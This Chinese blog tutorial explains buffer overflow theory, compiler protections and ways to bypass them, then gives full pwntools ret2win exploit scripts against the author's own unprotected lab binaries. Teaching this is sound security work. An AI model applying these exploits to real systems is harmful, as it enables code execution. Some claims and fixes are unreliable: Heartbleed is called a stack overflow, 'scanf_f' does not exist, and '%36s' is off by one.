溢出的基本概念

N0va7
2025-10-22 / 0 评论 / 3 阅读 / 正在检测是否收录...
温馨提示:
本文最后更新于2025年10月22日,已超过224天没有更新,若内容或图片失效,请留言反馈。

什么是溢出

程序向内存中写入超出预定范围的数据,导致程序执行异常或漏洞
缓冲区溢出是指程序向固定长度缓冲区写入超出其容量的数据,导致相邻内存被覆盖的漏洞

char str[4]; // 预定4字节空间
strcpy(str,"ABCDE"); // 写入5个字节 溢出!

内存模型

  • 栈:函数调用时自动分配,溢出常覆盖返回地址
  • 堆:动态申请( malloc ),溢出常破坏堆块元数据

溢出与内存管理的关系

溢出本质是对内存架构的缺陷利用:它可以直接改写地址,改变返回地址,指针,或定义的结构。

溢出的分类与原理

类型

  • 栈溢出:局部数组写超,覆盖返回地址
  • 堆溢出:通过内存写超,改写 chunk metadata
  • 数值溢出:计算不合理导致指针错误/过小分配
  • 符号溢出:改写指针或表形字指针

栈溢出原理

栈结构:局部变量 -> 保存的 EBP -> 返回地址 (EIP)
演化模式:把 ret 地址改成 shellcode / ROP 链首地址

堆溢出原理

chunk 结构:包含 size, fd, bk
off-by-one:类型也可改 size 最低位
unlink 攻击:改写 fd/bk 进行堆内写入

数值溢出

举例: malloc(width * height * 4) 当两者特大,超越 4G 后结果是 0
引发无还原的数据分配,导致无控分配空间

对比总结

类型触发场景经典漏洞
栈溢出局部变量覆盖返回地址CVE-2014-0160心脏滴血
堆溢出破坏堆块管理结构(如 chunk )CVE-2012-0769 Flash
整数溢出数值计算超出类型范围CVE-2019-0708蓝屏
格式化串溢出printf(user_input)CTF 高频考题

溢出的表现与危害

表现

  • 栈溢出:Segmentation fault
  • 堆溢出:malloc(): memory corruption
  • 整数溢出:程序逻辑错乱(如负数变超大)

危害

  • 任意代码执行:攻击者利用溢出修改返回地址,执行恶意代码。
  • 权限提升:通过栈溢出攻击获取高权限操作系统资源。
  • 信息泄露:覆盖特定内存区域,窃取敏感数据。
  • 拒绝服务:利用溢出导致程序崩溃,造成拒绝服务(DoS)攻击。

溢出漏洞的防护技术与绕过思路

原理与对应编译参数

防护技术原理简述GCC 编译参数说明
Stack Canaries (栈保护)在返回地址前插入一个随机“金丝雀” 值,程序返回时检查该值是否被修改,若改变则立即终止程序。-fstack-protector / -fstack-protector-all-fstack-protector 保护带缓冲区的函 数;-all为强制保护所有函数。
NX(Non- eXecutable)/DEP标记栈、堆等内存区域为不可执行,即使数据被写入,也不能执行。-z noexecstack默认在现代系统中启用,部分旧程序需显式添加
ASLR(地址空间布 局随机化)系统每次加载程序时将堆、栈、库、PIE 段地址随机化,增加攻击者预测难度。无需编译参数,OS级启用:/proc/sys/kernel/randomize_va_space值为 2 表示全启用;攻击前常需泄露地址(leak)。
RELRO(重定位表 只读保护)将.got 表设置为只读,防止运行时被篡改函数指针。-z relro(Partial) -z relro -z now (Full)Partial RELRO只保护一部分;Full强制立即解析符号。
PIE(Position Independent Executable)将整个程序编译为位置无关,使.text 和全局变量也可随机加载。-fPIE -piePIE程序执行地址不固定,结合ASLR效果最佳。

绕过思路

防护技术绕过思路补充说明
Stack Canaries通常通过 信息泄露 手段(如格式化字符串)读取栈上的 canary 值,再在 payload 中“保持原值”以绕过校验。如果栈不可读(不可泄露),Canary 成为极强保护。
NX / DEP不能执行shellcode,转而使用ROP(Return_x0002_Oriented Programming)构造控制流,调用系统函数或构造系统调用。NX 是对 shellcode 类攻击的直接遏制,但对 ROP 无效。
ASLR需要提前通过漏洞 泄露 libc 地址或程序段地址,再计算偏移构造完整 payload。PIE 开启时程序地址也随机化;关闭 PIE 时 main 固定在0x0804xxxx 等段。
RELRO若启用 Full RELRO,则 .got 表不可写,攻击者不能改写函数地址,只能寻求其他可写目标(如__free_hook 等)或走 ROP。Partial RELRO 仍可改写 GOT表;实际攻击前需检查RELRO 类型。
PIE若开启 PIE,则 .text 段地址每次启动变化,需配合泄露程序基地址的方式重定 payload。若使用 -no-pie ,程序地址固定,攻击构造大大简化。

C/C++ 当中可能造成溢出的危险函数

函数名危险原因替代建议
strcpy无边界检查,可能拷贝超过目标缓冲区长度strncpy , strlcpy (Linux)
strcat同上,无检查目标缓冲区剩余空间strncat , strlcat
sprintf无边界,容易溢出缓冲区snprintf
memcpy无检查目标缓冲区大小memmove + 检查长度
memset参数错误可能导致覆盖敏感内存区域使用封装过的安全函数
bcopy与 memcpy 类似,兼容旧系统但危险memmove
memcpy无检查目标缓冲区大小memmove + 检查长度
memset参数错误可能导致覆盖敏感内存区域使用封装过的安全函数
bcopy与 memcpy 类似,兼容旧系统但危险memmove

溢出攻击防御思路

编程安全技巧

  1. 避免使用高危函数:
  2. 在 C/C++ 编程中,某些标准库函数因缺乏边界控制或格式校验而成为攻击者的首选入口,应避免使用,比如上面列举的可能存在溢出攻击的函数
  3. 内存操作安全习惯:
  4. 所有字符串操作需显式指定目标缓冲区大小
  5. 所有输入操作需校验长度、类型
  6. 指针使用前需判断是否为 NULL
  7. 使用封装安全函数替代裸 API,例如 C11 中的 strncpy_s

动态内存检查

此处仅作介绍
工具名称平台功能特点
ValgrindLinux动态内存分析工具,可检测越界、泄露等问题
ASanLinux / Mac / Windows(Clang/GCC)AddressSanitizer,是现代编译器集成的高性能检测工具
UBSan多平台UndefinedBehaviorSanitizer,检查未定义行为
Dr.MemoryWindows类似 Valgrind,适合 Windows 环境使用
Electric FenceLinux简单粗暴的内存越界检测,适合嵌入式小项目
Visual Studio / MSVC内存调试器Windows集成化图形内存调试支持
gdb + watchpointsGNU/Linux可通过调试器设置读写断点监控内存访问

编译时防护

编译参数含义及用途
-fstack-protector启用栈保护机制,在返回地址前插入 canary 值检测栈溢出
-fstack-protector-strong更强的保护,推荐默认开启
-fPIE -pie启用 PIE(Position Independent Executable),配合 ASLR 提
升地址随机性
-no-pie禁用 PIE,使程序加载地址固定,调试时常用但风险高
-z noexecstack禁止栈执行权限,启用 NX(不可执行栈)
-z relro启用 GOT/PLT 表的写保护(部分保护)
-z now配合 -z relro 实现 FULL RELRO(立即绑定 GOT 表)
-D_FORTIFY_SOURCE=2对字符串/内存类函数调用添加运行时检查,依赖 -O2 优化级别
-Wformat -Wformat- security检查格式化字符串漏洞,强烈建议开启
-fsanitize=address编译时开启 AddressSanitizer 动态检测,适合开发调试阶段使用
-m32 或 -m64编译为 32 位或 64 位目标架构

栈溢出实例分析

x86溢出示例

#include <stdio.h> 
#include <stdlib.h> 

void hack() { 
      printf("PWN! I Get Your System!!\n"); 
      system("sh"); 
}

void SayHello() {
      char name[0x20]; 
      printf("Enter your name:"); 
      fflush(stdout); 
      scanf("%s", name); 
      printf("Hello %s!\n", name); 
}

int main() { 
      SayHello(); 
}
// gcc -m32 -fno-stack-protector -no-pie -z execstack test32.c -o test32
  • -m32: 简化架构。
  • -fno-stack-protector: 移除 Canaries 保护。
  • -no-pie: 固定函数地址。
  • -z execstack: 允许在栈上执行代码(为更高级利用铺路)。

分析

很明显,我们需要让函数调用到这个hack函数,而主程序代码中完全不涉及这个函数的相关代码,但是我们可以发现出现了一个C/C++中的危险函数scanf,这个函数是不存在边界检查的,当我们输入超过name数组的长度时就会爆出栈溢出的错误

但是正常思维下,我们一般认为输入32个(0x20==32)就会报错,因为字符串末尾还有个\0结尾,但是这边反而没有出错

反而一直到输入44才会报错

这是因为name数组(32字节)存在4字节padding填充(因为x86栈帧要对齐4字节),然后还存在EBX(4字节)和EBP(4字节)地址,最后才是RET(4字节)地址,所以当我们填充44字节就会影响到RET地址从而影响EIP跳转到未知地址导致栈报错

  • 内存访问效率:x86 架构对 4 字节对齐访问优化
  • 数据结构对齐:int、pointer 等均为 4 字节
  • ABI规范:System V ABI 要求栈帧对齐

20250921171206320.png

而我们的目标:就是返回的时候跳转到hack函数,也就是RET地址需要是hack函数的地址,RET会影响EIP的值,导致下一步执行hack函数

EXP

分析结束之后,我们就知道怎么使用pwntools来解决这个栈溢出问题

#!/usr/bin/env python3

from pwn import *

# local debug

elf = ELF('./test32')
log.info(f"Loaded the elf: {elf}")

try:
    hack_addr = elf.symbols['hack']
    log.info(f"Find the hack function address: {hack_addr}")
except KeyError:
    log.error("Symbol 'hack' not found in the binary. It is compiled correctly ?")

# name[0x20] == 32
# padding == 4
# EBX == 4
# EBP == 4
# RET == 4 replace hack_addr
offect_to_ret = 44
payload = b'A' * offect_to_ret
# using x86 format to pack the addr
payload += p32(hack_addr)
log.info(f"Payload created: {payload}")

# PWN the binary
p = process('./test32')
recv = p.recvuntil(b":")
log.info(f"The binary's hint: {recv.decode()}")
p.send(payload)
log.info("Payload sent. Switching to interactive mode...")
p.sendline()
p.recvline()
s = p.recvline().decode()
if "PWN" in s:
    log.success("PWN the binary!!!!!")
else:
    log.error("Failed.")
p.interactive()

x64溢出示例

#include <stdio.h> 
#include <stdlib.h> 
void hack(){ 
      printf("PWN!I Get Your System!!\r\n");
      system("/bin/sh"); 
}

void SayHello(){ 
      char name[0x20]; 
      printf("Enter your name:"); 
      fflush(stdout); 
      scanf("%s",name); 
      printf("Hello %s!\r\n",name); 
}

int main(){ 
      SayHello(); 
}
// gcc -m64 -fno-stack-protector -no-pie -z execstack test64.c -o test64

分析

x64程序每次压栈是传递8字节数据的

此处分析程序其实很快就能发现他是先push RBP占位8字节,然后再开辟name0x20,所以计算下来应该是40位

#!/usr/bin/env python3

from pwn import *

# local debug

elf = ELF('./test64')
log.info(f"Loaded the elf: {elf}")

try:
    hack_addr = elf.symbols['hack']
    log.info(f"Find the hack function address: {hack_addr}")
except KeyError:
    log.error("Symbol 'hack' not found in the binary. It is compiled correctly ?")

# name[0x20] == 32
# No padding
# EBP == 8
# RET == 8 replace hack_addr
offset_to_ret = 32 + 8
payload = b'A' * offset_to_ret
# using x64 format to pack the addr
payload += p64(hack_addr)
log.info(f"Payload created: {payload}")

# PWN the binary
p = process('./test64')
recv = p.recvuntil(b":")
log.info(f"The binary's hint: {recv.decode()}")
p.sendline(payload)
log.info("Payload sent. Switching to interactive mode...")
s = p.recv(1024).decode()
log.info(s)
if "PWN" in s:
    log.info(f"recv the message: {s}")
    log.success("PWN the binary!!!!!")
else:
    log.error("Failed.")
p.interactive()

但是当我们运行之后就会发现,出现报错,无法拿到shell

根据回显的信息,我们基本可以确定是system函数执行时出现了问题,所以查了下相关资料,发现system函数必须在堆栈对齐的情况下才会正常运行,那我们就观察一下我们的堆栈是否正常

64位ubuntu18以上系统调用system函数时是需要栈对齐的具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

参考文章:CTFer成长日记12:栈对齐—获取shell前的临门一脚 - 知乎

因为64位程序的地址是8字节的,而十六进制又是满16就会进位,因此我们看到的栈地址末尾要么是0要么是8。

既然我们需要16字节对齐 也就是在调用system时(其实是执行movaps时) RSP(观察参数)指向的地址应该是0结尾的。

断点调试可以发现,我们输入48字节的时候,这时候RSP是以8结尾的,就没有对齐,所以就会报段错误

为了让它对齐得让它多执行一个RET指令,输入如下指令找一个RET

objdump -d test64 | grep -A 1 "ret"

此时两次返回,就肯定能对齐了,因为64位程序不是8就是0

#!/usr/bin/env python3

from pwn import *

# local debug

elf = ELF('./test64')
log.info(f"Loaded the elf: {elf}")

try:
    hack_addr = elf.symbols['hack']
    ret_addr = 0x400526
    log.info(f"Find the hack function address: {hack_addr}")
except KeyError:
    log.error("Symbol 'hack' not found in the binary. It is compiled correctly ?")

# name[0x20] == 32
# No padding
# EBP == 8
# RET == 8 replace hack_addr
offset_to_ret = 32 + 8
payload = b'A' * offset_to_ret
# using x64 format to pack the addr
payload += p64(ret_addr)
payload += p64(hack_addr)
log.info(f"Payload created: {payload}")

# PWN the binary
p = process('./test64')
recv = p.recvuntil(b":")
log.info(f"The binary's hint: {recv.decode()}")
p.sendline(payload)
log.info("Payload sent. Switching to interactive mode...")
s = p.recv(1024).decode()
log.info(s)
if "PWN" in s:
    log.info(f"recv the message: {s}")
    log.success("PWN the binary!!!!!")
else:
    log.error("Failed.")
p.interactive()

同样的,如果你通过gdb去修改也可以实现getshell

小测试

#include <stdio.h>
#include <stdlib.h>
void hack(){
    printf("PWN!I Get Your System!!\r\n");
    system("/bin/sh");
}

void SayHello(){
    char name[36];
    printf("Enter your name:");
    fflush(stdout);
    scanf("%s",name);
    printf("Hello %s!\r\n",name);

}

int main(){
    SayHello();
}
// gcc -m64 -fno-stack-protector -no-pie -z execstack test_pro.c -o test_pro

依旧gdb分析一波,看看name数组被分配多大空间

name数组被分配了0x30,那就是48,再看看到hack函数的时候会不会出现栈帧没有对齐的情况

当运行到system函数之前时,栈顶末尾并非为0,也就是说栈帧没有对齐,所以出现了直接退出的情况

知道栈帧没有对齐的话,我们就知道怎么写exp了,就是找到一个retq补上即可

EXP

#!/usr/bin/env python3

from pwn import *

# local debug

elf = ELF('./test_pro')
log.info(f"Loaded the elf: {elf}")

try:
    hack_addr = elf.symbols['hack']
    ret_addr = 0x4006f0
    log.info(f"Find the hack function address: {hack_addr}")
except KeyError:
    log.error("Symbol 'hack' not found in the binary. It is compiled correctly ?")

# name[36] == 36
# padding == 12
# EBP == 8
# RET == 8 replace hack_addr
offset_to_ret = 48 + 8
payload = b'A' * offset_to_ret
# using x64 format to pack the addr
payload += p64(ret_addr)
payload += p64(hack_addr)
log.info(f"Payload created: {payload}")

# PWN the binary
p = process('./test_pro')
recv = p.recvuntil(b":")
log.info(f"The binary's hint: {recv.decode()}")
p.sendline(payload)
log.info("Payload sent. Switching to interactive mode...")
s = p.recv(1024)
log.info(s)
if b"PWN" in s:
    log.info(f"recv the message: {s}")
    log.success("PWN the binary!!!!!")
else:
    log.error("Failed.")
p.interactive()

防御手段

在上面的样例中我们知道scanf这个函数没有做边界检查,所以会导致栈溢出,当我们在编写代码的时候替换成存在边界检查的函数或者做一些修改就可以简单的防护栈溢出

比如:

#include <stdio.h>
#include <stdlib.h>
void hack(){
    printf("PWN!I Get Your System!!\r\n");
    system("/bin/sh");
}

void SayHello(){
    char name[36];
    printf("Enter your name:");
    fflush(stdout);
    scanf_f("%s",name);
    printf("Hello %s!\r\n",name);

}

int main(){
    SayHello();
}

以及

#include <stdio.h>
#include <stdlib.h>
void hack(){
    printf("PWN!I Get Your System!!\r\n");
    system("/bin/sh");
}

void SayHello(){
    char name[36];
    printf("Enter your name:");
    fflush(stdout);
    scanf("%36s",name);
    printf("Hello %s!\r\n",name);

}

int main(){
    SayHello();
}

可以看到效果就是我输入40个A,但是它只覆盖了36个,限制死了边界,我们就没法进行栈溢出了

0

评论 (0)

取消